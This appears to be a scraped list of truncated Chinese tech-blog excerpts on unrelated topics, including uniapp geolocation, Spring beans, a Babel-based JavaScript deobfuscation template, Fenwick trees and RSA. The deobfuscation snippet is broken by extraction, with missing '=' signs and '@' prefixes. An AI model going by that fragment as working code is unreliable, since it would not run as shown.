工业冷却塔作为关键的热交换装置&#xff0c;在许多生产流程中发挥着重要作用。为了保持其高效稳定的运行&#xff0c;实施连续的冷却塔状态监测变得至关重要。本文将以PreMaint设备数字化平台为例&#xff0c;探讨为什么建议采用远程冷却塔状态监测&#xff0c;以及如何借助振…

uniapp 持续获取定位(登录状态下才获取)(不采用定时器)(任意页面都可监听定位改变)

基于上次文章做了优化和改良,保证在登录状态下才获取定位信息 uniapp 小程序实时且持续获取定位信息(全局设置一次)(单页面监听定位改变)(不采用定时器)_uniapp小程序定位_前端小胡兔的博客-CSDN博客本篇文章实现了uniapp 微信小程序实时获取定位信息,小程序打开即可持续获取定…

科技巨头纷纷押注,Web3钱包能否成为撬动行业的支点?

出品&#xff5c;欧科云链研究院 作者&#xff5c;Hedy Bi 在PayPal推出稳定币并引发行业热议之际&#xff0c;公链Aptos昨日宣布与微软合作&#xff0c;共同探索与资产代币化、数字支付和中央银行数字货币相关的创新解决方案。尽管比尔盖茨对加密货币持摇摆态度&#xff0c;…

CEC2013(MATLAB):淘金优化算法GRO求解CEC2013的28个函数

一、淘金优化算法GRO 淘金优化算法&#xff08;Gold rush optimizer&#xff0c;GRO&#xff09;由Kamran Zolf于2023年提出&#xff0c;其灵感来自淘金热&#xff0c;模拟淘金者进行黄金勘探行为。淘金优化算法&#xff08;Gold rush optimizer&#xff0c;GRO&#xff09;提…

Java【Spring】使用注解, 更简单的存储和获取 Bean

文章目录 前言一、存储 Bean1, 配置文件2, 五大类注解Bean 的命名规则 3, 方法注解Bean 的命名规则 二、获取 Bean1, 属性注入2, Setter 注入3, 构造方法注入4, Autowired 和 Resource 的区别5, 同一个类型的多个 Bean 注入问题 总结 前言 各位读者好, 我是小陈, 这是我的个人主…

AST入门与实战(一):基于babel库的js反混淆通用模板

AST入门与实战(一):基于babel库的js反混淆通用模板 首发地址:http://zhuoyue360.com/jsnx/106.html 1. 模板代码 通用模板来源自菜老板的知识星球. const fs require(fs); const types require("babel/types"); const parser require("babel/parser")…

【css】css中使用变量var

CSS 变量可以有全局或局部作用域。 全局变量可以在整个文档中进行访问/使用&#xff0c;而局部变量只能在声明它的选择器内部使用。 如需创建具有全局作用域的变量&#xff0c;请在 :root 选择器中声明它。 :root 选择器匹配文档的根元素。 如需创建具有局部作用域的变量&am…

【ARM 调试】如何从 crash 信息找出问题原因

一、问题背景 粉丝在进行 ARM-A 系列软件编程时遇到以下问题&#xff0c;串口打印这段日志后就重启了&#xff0c;粉丝求助问是什么原因&#xff1f; Unhandled Exception in EL3. x30 0x0000000000b99b84 x0 0x00000000179a25b0 x1 …

【笔记】树状数组

【笔记】树状数组 目录 简介引入1. 直接暴力2. 维护前缀和数组总结 定义前置知识&#xff1a; lowbit ⁡ \operatorname{lowbit} lowbit 操作区间的表示方法操作单点修改前缀和查询任意区间查询 例题1: 单点修改&#xff0c;区间查询例题2: 区间修改&#xff0c;单点查询例题3:…

苏州OV泛域名RSA加密算法https

RSA加密算法是一种非对称加密算法&#xff0c;它被广泛应用于信息安全领域。与对称加密算法不同&#xff0c;RSA加密算法使用了两个密钥&#xff0c;一个公钥和一个私钥。公钥可以公开&#xff0c;任何人都可以使用它加密信息&#xff0c;但只有私钥的持有者才能解密信息。RSA加…

探索美颜SDK技术:实现精准人脸美化的算法与挑战

在现代社交媒体和直播平台的兴起中&#xff0c;美颜技术已成为一种不可或缺的元素&#xff0c;让用户能够在镜头前展现出最佳的自己。这种技术的背后有着复杂而精密的算法&#xff0c;由美颜SDK驱动&#xff0c;以实现精准人脸美化。本文将探讨这些算法的核心原理、应用领域以及…